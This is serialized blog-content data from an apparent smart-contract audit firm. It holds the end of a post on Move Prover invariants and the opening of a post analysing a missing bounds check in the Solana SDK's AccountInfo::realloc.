,"children":14918},{"style":246},[14919],{"type":31,"value":9509},{"type":25,"tag":201,"props":14921,"children":14922},{"style":220},[14923],{"type":31,"value":919},{"type":25,"tag":201,"props":14925,"children":14926},{"style":246},[14927],{"type":31,"value":9526},{"type":25,"tag":201,"props":14929,"children":14930},{"style":220},[14931],{"type":31,"value":308},{"type":25,"tag":201,"props":14933,"children":14934},{"class":203,"line":311},[14935,14939,14943,14947],{"type":25,"tag":201,"props":14936,"children":14937},{"style":214},[14938],{"type":31,"value":9625},{"type":25,"tag":201,"props":14940,"children":14941},{"style":220},[14942],{"type":31,"value":298},{"type":25,"tag":201,"props":14944,"children":14945},{"style":246},[14946],{"type":31,"value":9634},{"type":25,"tag":201,"props":14948,"children":14949},{"style":220},[14950],{"type":31,"value":4666},{"type":25,"tag":201,"props":14952,"children":14953},{"class":203,"line":330},[14954],{"type":25,"tag":201,"props":14955,"children":14956},{"style":220},[14957],{"type":31,"value":1178},{"type":25,"tag":201,"props":14959,"children":14960},{"class":203,"line":397},[14961,14965,14969],{"type":25,"tag":201,"props":14962,"children":14963},{"style":246},[14964],{"type":31,"value":9653},{"type":25,"tag":201,"props":14966,"children":14967},{"style":246},[14968],{"type":31,"value":9500},{"type":25,"tag":201,"props":14970,"children":14971},{"style":220},[14972],{"type":31,"value":327},{"type":25,"tag":201,"props":14974,"children":14975},{"class":203,"line":437},[14976,14980,14984,14988,14992],{"type":25,"tag":201,"props":14977,"children":14978},{"style":246},[14979],{"type":31,"value":9669},{"type":25,"tag":201,"props":14981,"children":14982},{"style":246},[14983],{"type":31,"value":9674},{"type":25,"tag":201,"props":14985,"children":14986},{"style":261},[14987],{"type":31,"value":1383},{"type":25,"tag":201,"props":14989,"children":14990},{"style":208},[14991],{"type":31,"value":9683},{"type":25,"tag":201,"props":14993,"children":14994},{"style":220},[14995],{"type":31,"value":461},{"type":25,"tag":201,"props":14997,"children":14998},{"class":203,"line":464},[14999,15003,15007,15011,15015],{"type":25,"tag":201,"props":15000,"children":15001},{"style":246},[15002],{"type":31,"value":9695},{"type":25,"tag":201,"props":15004,"children":15005},{"style":246},[15006],{"type":31,"value":9700},{"type":25,"tag":201,"props":15008,"children":15009},{"style":261},[15010],{"type":31,"value":9705},{"type":25,"tag":201,"props":15012,"children":15013},{"style":246},[15014],{"type":31,"value":9710},{"type":25,"tag":201,"props":15016,"children":15017},{"style":220},[15018],{"type":31,"value":461},{"type":25,"tag":201,"props":15020,"children":15021},{"class":203,"line":490},[15022,15026,15030,15034,15038],{"type":25,"tag":201,"props":15023,"children":15024},{"style":246},[15025],{"type":31,"value":9695},{"type":25,"tag":201,"props":15027,"children":15028},{"style":246},[15029],{"type":31,"value":9726},{"type":25,"tag":201,"props":15031,"children":15032},{"style":261},[15033],{"type":31,"value":9705},{"type":25,"tag":201,"props":15035,"children":15036},{"style":246},[15037],{"type":31,"value":9735},{"type":25,"tag":201,"props":15039,"children":15040},{"style":220},[15041],{"type":31,"value":461},{"type":25,"tag":201,"props":15043,"children":15044},{"class":203,"line":499},[15045],{"type":25,"tag":201,"props":15046,"children":15047},{"style":220},[15048],{"type":31,"value":1178},{"type":25,"tag":34,"props":15050,"children":15051},{},[15052],{"type":31,"value":15053},"Some other ideas include",{"type":25,"tag":6944,"props":15055,"children":15056},{},[15057,15062,15067],{"type":25,"tag":6948,"props":15058,"children":15059},{},[15060],{"type":31,"value":15061},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":25,"tag":6948,"props":15063,"children":15064},{},[15065],{"type":31,"value":15066},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":25,"tag":6948,"props":15068,"children":15069},{},[15070],{"type":31,"value":15071},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":25,"tag":26,"props":15073,"children":15074},{"id":6817},[15075],{"type":31,"value":6820},{"type":25,"tag":34,"props":15077,"children":15078},{},[15079],{"type":31,"value":15080},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":25,"tag":34,"props":15082,"children":15083},{},[15084],{"type":31,"value":15085},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":25,"tag":34,"props":15087,"children":15088},{},[15089,15091,15096],{"type":31,"value":15090},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":71,"props":15092,"children":15094},{"href":10745,"rel":15093},[75],[15095],{"type":31,"value":10749},{"type":31,"value":80},{"type":25,"tag":4349,"props":15098,"children":15099},{},[15100],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":15102},[15103,15104,15107,15114],{"id":10809,"depth":226,"text":10812},{"id":10863,"depth":226,"text":10866,"children":15105},[15106],{"id":11114,"depth":278,"text":11110},{"id":14011,"depth":226,"text":14014,"children":15108},[15109,15110,15111,15112,15113],{"id":14027,"depth":278,"text":14030},{"id":14278,"depth":278,"text":14281},{"id":14583,"depth":278,"text":14586},{"id":14620,"depth":278,"text":14623},{"id":14783,"depth":278,"text":14786},{"id":6817,"depth":226,"text":6820},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":15119,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":15120,"description":15121,"author":15122,"image":15123,"date":15126,"isFeatured":17,"onBlogPage":17,"tags":15127,"body":15128,"_type":4371,"_id":20241,"_source":4373,"_file":20242,"_stem":20243,"_extension":4376},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":15124,"height":15125,"width":15},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[4389,10773],{"type":22,"children":15129,"toc":20225},[15130,15158,15178,15848,15868,15879,15891,16024,16034,16040,16066,16403,16448,16773,16835,16848,16922,16990,17011,17024,17038,17385,17396,17401,17532,17583,17609,17621,17794,17930,17971,18008,18074,18079,18117,18171,18182,18326,18338,18344,18350,18383,18397,18519,18538,18566,18572,18661,18752,18758,18763,18810,19079,19154,19165,19192,19524,19536,19609,19882,19919,20221],{"type":25,"tag":34,"props":15131,"children":15132},{},[15133,15135,15141,15143,15148,15150,15156],{"type":31,"value":15134},"It all started with an audit of a program that used ",{"type":25,"tag":115,"props":15136,"children":15138},{"className":15137},[],[15139],{"type":31,"value":15140},"realloc",{"type":31,"value":15142}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":25,"tag":115,"props":15144,"children":15146},{"className":15145},[],[15147],{"type":31,"value":15140},{"type":31,"value":15149}," call (from ",{"type":25,"tag":115,"props":15151,"children":15153},{"className":15152},[],[15154],{"type":31,"value":15155},"solana_program",{"type":31,"value":15157},") would error out appropriately.",{"type":25,"tag":34,"props":15159,"children":15160},{},[15161,15163,15169,15170,15177],{"type":31,"value":15162},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":25,"tag":115,"props":15164,"children":15166},{"className":15165},[],[15167],{"type":31,"value":15168},"AccountInfo::realloc",{"type":31,"value":7010},{"type":25,"tag":71,"props":15171,"children":15174},{"href":15172,"rel":15173},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[75],[15175],{"type":31,"value":15176},"implemented",{"type":31,"value":5997},{"type":25,"tag":191,"props":15179,"children":15181},{"className":4487,"code":15180,"language":4486,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[15182],{"type":25,"tag":115,"props":15183,"children":15184},{"__ignoreMap":7},[15185,15279,15313,15320,15328,15340,15348,15440,15473,15480,15488,15618,15649,15656,15663,15671,15705,15717,15766,15778,15807,15814,15821,15828,15841],{"type":25,"tag":201,"props":15186,"children":15187},{"class":203,"line":204},[15188,15193,15198,15203,15207,15211,15216,15220,15225,15229,15234,15238,15243,15247,15251,15255,15260,15265,15270,15275],{"type":25,"tag":201,"props":15189,"children":15190},{"style":208},[15191],{"type":31,"value":15192},"pub",{"type":25,"tag":201,"props":15194,"children":15195},{"style":208},[15196],{"type":31,"value":15197}," fn",{"type":25,"tag":201,"props":15199,"children":15200},{"style":214},[15201],{"type":31,"value":15202}," realloc",{"type":25,"tag":201,"props":15204,"children":15205},{"style":220},[15206],{"type":31,"value":298},{"type":25,"tag":201,"props":15208,"children":15209},{"style":261},[15210],{"type":31,"value":4615},{"type":25,"tag":201,"props":15212,"children":15213},{"style":208},[15214],{"type":31,"value":15215},"self",{"type":25,"tag":201,"props":15217,"children":15218},{"style":220},[15219],{"type":31,"value":919},{"type":25,"tag":201,"props":15221,"children":15222},{"style":246},[15223],{"type":31,"value":15224},"new_len",{"type":25,"tag":201,"props":15226,"children":15227},{"style":261},[15228],{"type":31,"value":5997},{"type":25,"tag":201,"props":15230,"children":15231},{"style":4925},[15232],{"type":31,"value":15233}," usize",{"type":25,"tag":201,"props":15235,"children":15236},{"style":220},[15237],{"type":31,"value":919},{"type":25,"tag":201,"props":15239,"children":15240},{"style":246},[15241],{"type":31,"value":15242},"zero_init",{"type":25,"tag":201,"props":15244,"children":15245},{"style":261},[15246],{"type":31,"value":5997},{"type":25,"tag":201,"props":15248,"children":15249},{"style":4925},[15250],{"type":31,"value":13552},{"type":25,"tag":201,"props":15252,"children":15253},{"style":220},[15254],{"type":31,"value":385},{"type":25,"tag":201,"props":15256,"children":15257},{"style":261},[15258],{"type":31,"value":15259},"->",{"type":25,"tag":201,"props":15261,"children":15262},{"style":4925},[15263],{"type":31,"value":15264}," Result",{"type":25,"tag":201,"props":15266,"children":15267},{"style":220},[15268],{"type":31,"value":15269},"\u003C(), ",{"type":25,"tag":201,"props":15271,"children":15272},{"style":4925},[15273],{"type":31,"value":15274},"ProgramError",{"type":25,"tag":201,"props":15276,"children":15277},{"style":220},[15278],{"type":31,"value":8790},{"type":25,"tag":201,"props":15280,"children":15281},{"class":203,"line":226},[15282,15286,15291,15295,15300,15304,15309],{"type":25,"tag":201,"props":15283,"children":15284},{"style":208},[15285],{"type":31,"value":4508},{"type":25,"tag":201,"props":15287,"children":15288},{"style":246},[15289],{"type":31,"value":15290}," orig_len",{"type":25,"tag":201,"props":15292,"children":15293},{"style":261},[15294],{"type":31,"value":413},{"type":25,"tag":201,"props":15296,"children":15297},{"style":208},[15298],{"type":31,"value":15299}," self",{"type":25,"tag":201,"props":15301,"children":15302},{"style":261},[15303],{"type":31,"value":80},{"type":25,"tag":201,"props":15305,"children":15306},{"style":214},[15307],{"type":31,"value":15308},"data_len",{"type":25,"tag":201,"props":15310,"children":15311},{"style":220},[15312],{"type":31,"value":1985},{"type":25,"tag":201,"props":15314,"children":15315},{"class":203,"line":278},[15316],{"type":25,"tag":201,"props":15317,"children":15318},{"emptyLinePlaceholder":17},[15319],{"type":31,"value":496},{"type":25,"tag":201,"props":15321,"children":15322},{"class":203,"line":311},[15323],{"type":25,"tag":201,"props":15324,"children":15325},{"style":4497},[15326],{"type":31,"value":15327},"    // realloc\n",{"type":25,"tag":201,"props":15329,"children":15330},{"class":203,"line":330},[15331,15336],{"type":25,"tag":201,"props":15332,"children":15333},{"style":208},[15334],{"type":31,"value":15335},"    unsafe",{"type":25,"tag":201,"props":15337,"children":15338},{"style":220},[15339],{"type":31,"value":327},{"type":25,"tag":201,"props":15341,"children":15342},{"class":203,"line":397},[15343],{"type":25,"tag":201,"props":15344,"children":15345},{"style":4497},[15346],{"type":31,"value":15347},"        // First set new length in the serialized data\n",{"type":25,"tag":201,"props":15349,"children":15350},{"class":203,"line":437},[15351,15355,15360,15364,15368,15372,15377,15382,15386,15391,15395,15399,15404,15408,15412,15416,15420,15424,15428,15432,15436],{"type":25,"tag":201,"props":15352,"children":15353},{"style":208},[15354],{"type":31,"value":1897},{"type":25,"tag":201,"props":15356,"children":15357},{"style":246},[15358],{"type":31,"value":15359}," ptr",{"type":25,"tag":201,"props":15361,"children":15362},{"style":261},[15363],{"type":31,"value":413},{"type":25,"tag":201,"props":15365,"children":15366},{"style":208},[15367],{"type":31,"value":15299},{"type":25,"tag":201,"props":15369,"children":15370},{"style":261},[15371],{"type":31,"value":80},{"type":25,"tag":201,"props":15373,"children":15374},{"style":214},[15375],{"type":31,"value":15376},"try_borrow_mut_data",{"type":25,"tag":201,"props":15378,"children":15379},{"style":220},[15380],{"type":31,"value":15381},"()",{"type":25,"tag":201,"props":15383,"children":15384},{"style":261},[15385],{"type":31,"value":4638},{"type":25,"tag":201,"props":15387,"children":15388},{"style":214},[15389],{"type":31,"value":15390},"as_mut_ptr",{"type":25,"tag":201,"props":15392,"children":15393},{"style":220},[15394],{"type":31,"value":15381},{"type":25,"tag":201,"props":15396,"children":15397},{"style":261},[15398],{"type":31,"value":80},{"type":25,"tag":201,"props":15400,"children":15401},{"style":214},[15402],{"type":31,"value":15403},"offset",{"type":25,"tag":201,"props":15405,"children":15406},{"style":220},[15407],{"type":31,"value":298},{"type":25,"tag":201,"props":15409,"children":15410},{"style":261},[15411],{"type":31,"value":5832},{"type":25,"tag":201,"props":15413,"children":15414},{"style":426},[15415],{"type":31,"value":5579},{"type":25,"tag":201,"props":15417,"children":15418},{"style":220},[15419],{"type":31,"value":385},{"type":25,"tag":201,"props":15421,"children":15422},{"style":208},[15423],{"type":31,"value":10349},{"type":25,"tag":201,"props":15425,"children":15426},{"style":261},[15427],{"type":31,"value":11319},{"type":25,"tag":201,"props":15429,"children":15430},{"style":208},[15431],{"type":31,"value":5228},{"type":25,"tag":201,"props":15433,"children":15434},{"style":4925},[15435],{"type":31,"value":7369},{"type":25,"tag":201,"props":15437,"children":15438},{"style":220},[15439],{"type":31,"value":461},{"type":25,"tag":201,"props":15441,"children":15442},{"class":203,"line":464},[15443,15447,15452,15456,15461,15465,15469],{"type":25,"tag":201,"props":15444,"children":15445},{"style":261},[15446],{"type":31,"value":9260},{"type":25,"tag":201,"props":15448,"children":15449},{"style":246},[15450],{"type":31,"value":15451},"ptr",{"type":25,"tag":201,"props":15453,"children":15454},{"style":261},[15455],{"type":31,"value":413},{"type":25,"tag":201,"props":15457,"children":15458},{"style":246},[15459],{"type":31,"value":15460}," new_len",{"type":25,"tag":201,"props":15462,"children":15463},{"style":208},[15464],{"type":31,"value":10335},{"type":25,"tag":201,"props":15466,"children":15467},{"style":4925},[15468],{"type":31,"value":7369},{"type":25,"tag":201,"props":15470,"children":15471},{"style":220},[15472],{"type":31,"value":461},{"type":25,"tag":201,"props":15474,"children":15475},{"class":203,"line":490},[15476],{"type":25,"tag":201,"props":15477,"children":15478},{"emptyLinePlaceholder":17},[15479],{"type":31,"value":496},{"type":25,"tag":201,"props":15481,"children":15482},{"class":203,"line":499},[15483],{"type":25,"tag":201,"props":15484,"children":15485},{"style":4497},[15486],{"type":31,"value":15487},"        // Then set the new length in the local slice\n",{"type":25,"tag":201,"props":15489,"children":15490},{"class":203,"line":522},[15491,15495,15499,15503,15507,15511,15515,15520,15524,15528,15532,15536,15541,15546,15550,15554,15558,15562,15566,15570,15574,15578,15582,15586,15590,15594,15598,15602,15606,15610,15614],{"type":25,"tag":201,"props":15492,"children":15493},{"style":208},[15494],{"type":31,"value":1897},{"type":25,"tag":201,"props":15496,"children":15497},{"style":246},[15498],{"type":31,"value":15359},{"type":25,"tag":201,"props":15500,"children":15501},{"style":261},[15502],{"type":31,"value":413},{"type":25,"tag":201,"props":15504,"children":15505},{"style":261},[15506],{"type":31,"value":8650},{"type":25,"tag":201,"props":15508,"children":15509},{"style":208},[15510],{"type":31,"value":5228},{"type":25,"tag":201,"props":15512,"children":15513},{"style":261},[15514],{"type":31,"value":11319},{"type":25,"tag":201,"props":15516,"children":15517},{"style":220},[15518],{"type":31,"value":15519},"(((",{"type":25,"tag":201,"props":15521,"children":15522},{"style":208},[15523],{"type":31,"value":15215},{"type":25,"tag":201,"props":15525,"children":15526},{"style":261},[15527],{"type":31,"value":80},{"type":25,"tag":201,"props":15529,"children":15530},{"style":220},[15531],{"type":31,"value":5206},{"type":25,"tag":201,"props":15533,"children":15534},{"style":261},[15535],{"type":31,"value":80},{"type":25,"tag":201,"props":15537,"children":15538},{"style":214},[15539],{"type":31,"value":15540},"as_ptr",{"type":25,"tag":201,"props":15542,"children":15543},{"style":220},[15544],{"type":31,"value":15545},"() ",{"type":25,"tag":201,"props":15547,"children":15548},{"style":208},[15549],{"type":31,"value":10349},{"type":25,"tag":201,"props":15551,"children":15552},{"style":261},[15553],{"type":31,"value":11319},{"type":25,"tag":201,"props":15555,"children":15556},{"style":208},[15557],{"type":31,"value":4074},{"type":25,"tag":201,"props":15559,"children":15560},{"style":4925},[15561],{"type":31,"value":7369},{"type":25,"tag":201,"props":15563,"children":15564},{"style":220},[15565],{"type":31,"value":3073},{"type":25,"tag":201,"props":15567,"children":15568},{"style":261},[15569],{"type":31,"value":80},{"type":25,"tag":201,"props":15571,"children":15572},{"style":214},[15573],{"type":31,"value":15403},{"type":25,"tag":201,"props":15575,"children":15576},{"style":220},[15577],{"type":31,"value":298},{"type":25,"tag":201,"props":15579,"children":15580},{"style":426},[15581],{"type":31,"value":5516},{"type":25,"tag":201,"props":15583,"children":15584},{"style":220},[15585],{"type":31,"value":385},{"type":25,"tag":201,"props":15587,"children":15588},{"style":208},[15589],{"type":31,"value":10349},{"type":25,"tag":201,"props":15591,"children":15592},{"style":4925},[15593],{"type":31,"value":7369},{"type":25,"tag":201,"props":15595,"children":15596},{"style":220},[15597],{"type":31,"value":385},{"type":25,"tag":201,"props":15599,"children":15600},{"style":208},[15601],{"type":31,"value":10349},{"type":25,"tag":201,"props":15603,"children":15604},{"style":261},[15605],{"type":31,"value":11319},{"type":25,"tag":201,"props":15607,"children":15608},{"style":208},[15609],{"type":31,"value":5228},{"type":25,"tag":201,"props":15611,"children":15612},{"style":4925},[15613],{"type":31,"value":7369},{"type":25,"tag":201,"props":15615,"children":15616},{"style":220},[15617],{"type":31,"value":308},{"type":25,"tag":201,"props":15619,"children":15620},{"class":203,"line":531},[15621,15625,15629,15633,15637,15641,15645],{"type":25,"tag":201,"props":15622,"children":15623},{"style":261},[15624],{"type":31,"value":9260},{"type":25,"tag":201,"props":15626,"children":15627},{"style":246},[15628],{"type":31,"value":15451},{"type":25,"tag":201,"props":15630,"children":15631},{"style":261},[15632],{"type":31,"value":413},{"type":25,"tag":201,"props":15634,"children":15635},{"style":246},[15636],{"type":31,"value":15460},{"type":25,"tag":201,"props":15638,"children":15639},{"style":208},[15640],{"type":31,"value":10335},{"type":25,"tag":201,"props":15642,"children":15643},{"style":4925},[15644],{"type":31,"value":7369},{"type":25,"tag":201,"props":15646,"children":15647},{"style":220},[15648],{"type":31,"value":461},{"type":25,"tag":201,"props":15650,"children":15651},{"class":203,"line":550},[15652],{"type":25,"tag":201,"props":15653,"children":15654},{"style":220},[15655],{"type":31,"value":4861},{"type":25,"tag":201,"props":15657,"children":15658},{"class":203,"line":563},[15659],{"type":25,"tag":201,"props":15660,"children":15661},{"emptyLinePlaceholder":17},[15662],{"type":31,"value":496},{"type":25,"tag":201,"props":15664,"children":15665},{"class":203,"line":572},[15666],{"type":25,"tag":201,"props":15667,"children":15668},{"style":4497},[15669],{"type":31,"value":15670},"    // zero-init if requested\n",{"type":25,"tag":201,"props":15672,"children":15673},{"class":203,"line":590},[15674,15678,15683,15688,15692,15697,15701],{"type":25,"tag":201,"props":15675,"children":15676},{"style":230},[15677],{"type":31,"value":13781},{"type":25,"tag":201,"props":15679,"children":15680},{"style":246},[15681],{"type":31,"value":15682}," zero_init",{"type":25,"tag":201,"props":15684,"children":15685},{"style":261},[15686],{"type":31,"value":15687}," &&",{"type":25,"tag":201,"props":15689,"children":15690},{"style":246},[15691],{"type":31,"value":15460},{"type":25,"tag":201,"props":15693,"children":15694},{"style":261},[15695],{"type":31,"value":15696}," >",{"type":25,"tag":201,"props":15698,"children":15699},{"style":246},[15700],{"type":31,"value":15290},{"type":25,"tag":201,"props":15702,"children":15703},{"style":220},[15704],{"type":31,"value":327},{"type":25,"tag":201,"props":15706,"children":15707},{"class":203,"line":608},[15708,15713],{"type":25,"tag":201,"props":15709,"children":15710},{"style":214},[15711],{"type":31,"value":15712},"        sol_memset",{"type":25,"tag":201,"props":15714,"children":15715},{"style":220},[15716],{"type":31,"value":4970},{"type":25,"tag":201,"props":15718,"children":15719},{"class":203,"line":617},[15720,15724,15728,15732,15736,15740,15744,15748,15752,15757,15761],{"type":25,"tag":201,"props":15721,"children":15722},{"style":261},[15723],{"type":31,"value":9194},{"type":25,"tag":201,"props":15725,"children":15726},{"style":208},[15727],{"type":31,"value":5228},{"type":25,"tag":201,"props":15729,"children":15730},{"style":208},[15731],{"type":31,"value":15299},{"type":25,"tag":201,"props":15733,"children":15734},{"style":261},[15735],{"type":31,"value":80},{"type":25,"tag":201,"props":15737,"children":15738},{"style":214},[15739],{"type":31,"value":15376},{"type":25,"tag":201,"props":15741,"children":15742},{"style":220},[15743],{"type":31,"value":15381},{"type":25,"tag":201,"props":15745,"children":15746},{"style":261},[15747],{"type":31,"value":4661},{"type":25,"tag":201,"props":15749,"children":15750},{"style":220},[15751],{"type":31,"value":423},{"type":25,"tag":201,"props":15753,"children":15754},{"style":246},[15755],{"type":31,"value":15756},"orig_len",{"type":25,"tag":201,"props":15758,"children":15759},{"style":261},[15760],{"type":31,"value":4559},{"type":25,"tag":201,"props":15762,"children":15763},{"style":220},[15764],{"type":31,"value":15765},"],\n",{"type":25,"tag":201,"props":15767,"children":15768},{"class":203,"line":625},[15769,15774],{"type":25,"tag":201,"props":15770,"children":15771},{"style":426},[15772],{"type":31,"value":15773},"            0",{"type":25,"tag":201,"props":15775,"children":15776},{"style":220},[15777],{"type":31,"value":547},{"type":25,"tag":201,"props":15779,"children":15780},{"class":203,"line":642},[15781,15786,15790,15795,15799,15803],{"type":25,"tag":201,"props":15782,"children":15783},{"style":246},[15784],{"type":31,"value":15785},"            new_len",{"type":25,"tag":201,"props":15787,"children":15788},{"style":261},[15789],{"type":31,"value":80},{"type":25,"tag":201,"props":15791,"children":15792},{"style":214},[15793],{"type":31,"value":15794},"saturating_sub",{"type":25,"tag":201,"props":15796,"children":15797},{"style":220},[15798],{"type":31,"value":298},{"type":25,"tag":201,"props":15800,"children":15801},{"style":246},[15802],{"type":31,"value":15756},{"type":25,"tag":201,"props":15804,"children":15805},{"style":220},[15806],{"type":31,"value":8245},{"type":25,"tag":201,"props":15808,"children":15809},{"class":203,"line":659},[15810],{"type":25,"tag":201,"props":15811,"children":15812},{"style":220},[15813],{"type":31,"value":9252},{"type":25,"tag":201,"props":15815,"children":15816},{"class":203,"line":667},[15817],{"type":25,"tag":201,"props":15818,"children":15819},{"style":220},[15820],{"type":31,"value":4861},{"type":25,"tag":201,"props":15822,"children":15823},{"class":203,"line":676},[15824],{"type":25,"tag":201,"props":15825,"children":15826},{"emptyLinePlaceholder":17},[15827],{"type":31,"value":496},{"type":25,"tag":201,"props":15829,"children":15830},{"class":203,"line":694},[15831,15836],{"type":25,"tag":201,"props":15832,"children":15833},{"style":4925},[15834],{"type":31,"value":15835},"    Ok",{"type":25,"tag":201,"props":15837,"children":15838},{"style":220},[15839],{"type":31,"value":15840},"(())\n",{"type":25,"tag":201,"props":15842,"children":15843},{"class":203,"line":707},[15844],{"type":25,"tag":201,"props":15845,"children":15846},{"style":220},[15847],{"type":31,"value":1187},{"type":25,"tag":34,"props":15849,"children":15850},{},[15851,15853,15859,15861,15866],{"type":31,"value":15852},"Oh. There's ",{"type":25,"tag":115,"props":15854,"children":15856},{"className":15855},[],[15857],{"type":31,"value":15858},"unsafe",{"type":31,"value":15860},". And no bounds check in sight. ",{"type":25,"tag":65,"props":15862,"children":15863},{},[15864],{"type":31,"value":15865},"And",{"type":31,"value":15867}," pointer math. That doesn't look promising...",{"type":25,"tag":26,"props":15869,"children":15871},{"id":15870},"breaking-down-realloc",[15872,15874],{"type":31,"value":15873},"Breaking down ",{"type":25,"tag":115,"props":15875,"children":15877},{"className":15876},[],[15878],{"type":31,"value":15140},{"type":25,"tag":34,"props":15880,"children":15881},{},[15882,15884,15889],{"type":31,"value":15883},"Let's pick apart this ",{"type":25,"tag":115,"props":15885,"children":15887},{"className":15886},[],[15888],{"type":31,"value":15858},{"type":31,"value":15890}," block, since there's a lot going on here.",{"type":25,"tag":191,"props":15892,"children":15894},{"className":4487,"code":15893,"language":4486,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[15895],{"type":25,"tag":115,"props":15896,"children":15897},{"__ignoreMap":7},[15898,15906,15993],{"type":25,"tag":201,"props":15899,"children":15900},{"class":203,"line":204},[15901],{"type":25,"tag":201,"props":15902,"children":15903},{"style":4497},[15904],{"type":31,"value":15905},"// First set new length in the serialized data\n",{"type":25,"tag":201,"props":15907,"children":15908},{"class":203,"line":226},[15909,15913,15917,15921,15925,15929,15933,15937,15941,15945,15949,15953,15957,15961,15965,15969,15973,15977,15981,15985,15989],{"type":25,"tag":201,"props":15910,"children":15911},{"style":208},[15912],{"type":31,"value":13289},{"type":25,"tag":201,"props":15914,"children":15915},{"style":246},[15916],{"type":31,"value":15359},{"type":25,"tag":201,"props":15918,"children":15919},{"style":261},[15920],{"type":31,"value":413},{"type":25,"tag":201,"props":15922,"children":15923},{"style":208},[15924],{"type":31,"value":15299},{"type":25,"tag":201,"props":15926,"children":15927},{"style":261},[15928],{"type":31,"value":80},{"type":25,"tag":201,"props":15930,"children":15931},{"style":214},[15932],{"type":31,"value":15376},{"type":25,"tag":201,"props":15934,"children":15935},{"style":220},[15936],{"type":31,"value":15381},{"type":25,"tag":201,"props":15938,"children":15939},{"style":261},[15940],{"type":31,"value":4638},{"type":25,"tag":201,"props":15942,"children":15943},{"style":214},[15944],{"type":31,"value":15390},{"type":25,"tag":201,"props":15946,"children":15947},{"style":220},[15948],{"type":31,"value":15381},{"type":25,"tag":201,"props":15950,"children":15951},{"style":261},[15952],{"type":31,"value":80},{"type":25,"tag":201,"props":15954,"children":15955},{"style":214},[15956],{"type":31,"value":15403},{"type":25,"tag":201,"props":15958,"children":15959},{"style":220},[15960],{"type":31,"value":298},{"type":25,"tag":201,"props":15962,"children":15963},{"style":261},[15964],{"type":31,"value":5832},{"type":25,"tag":201,"props":15966,"children":15967},{"style":426},[15968],{"type":31,"value":5579},{"type":25,"tag":201,"props":15970,"children":15971},{"style":220},[15972],{"type":31,"value":385},{"type":25,"tag":201,"props":15974,"children":15975},{"style":208},[15976],{"type":31,"value":10349},{"type":25,"tag":201,"props":15978,"children":15979},{"style":261},[15980],{"type":31,"value":11319},{"type":25,"tag":201,"props":15982,"children":15983},{"style":208},[15984],{"type":31,"value":5228},{"type":25,"tag":201,"props":15986,"children":15987},{"style":4925},[15988],{"type":31,"value":7369},{"type":25,"tag":201,"props":15990,"children":15991},{"style":220},[15992],{"type":31,"value":461},{"type":25,"tag":201,"props":15994,"children":15995},{"class":203,"line":278},[15996,16000,16004,16008,16012,16016,16020],{"type":25,"tag":201,"props":15997,"children":15998},{"style":261},[15999],{"type":31,"value":6077},{"type":25,"tag":201,"props":16001,"children":16002},{"style":246},[16003],{"type":31,"value":15451},{"type":25,"tag":201,"props":16005,"children":16006},{"style":261},[16007],{"type":31,"value":413},{"type":25,"tag":201,"props":16009,"children":16010},{"style":246},[16011],{"type":31,"value":15460},{"type":25,"tag":201,"props":16013,"children":16014},{"style":208},[16015],{"type":31,"value":10335},{"type":25,"tag":201,"props":16017,"children":16018},{"style":4925},[16019],{"type":31,"value":7369},{"type":25,"tag":201,"props":16021,"children":16022},{"style":220},[16023],{"type":31,"value":461},{"type":25,"tag":34,"props":16025,"children":16026},{},[16027,16032],{"type":25,"tag":115,"props":16028,"children":16030},{"className":16029},[],[16031],{"type":31,"value":15376},{"type":31,"value":16033}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":25,"tag":40,"props":16035,"children":16037},{"id":16036},"bpf-loader-abi",[16038],{"type":31,"value":16039},"BPF Loader ABI",{"type":25,"tag":34,"props":16041,"children":16042},{},[16043,16045,16050,16052,16065],{"type":31,"value":16044},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":25,"tag":115,"props":16046,"children":16048},{"className":16047},[],[16049],{"type":31,"value":15155},{"type":31,"value":16051},"'s entrypoint code - the code that's added when you use the ",{"type":25,"tag":71,"props":16053,"children":16056},{"href":16054,"rel":16055},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[75],[16057,16063],{"type":25,"tag":115,"props":16058,"children":16060},{"className":16059},[],[16061],{"type":31,"value":16062},"entrypoint!",{"type":31,"value":16064}," 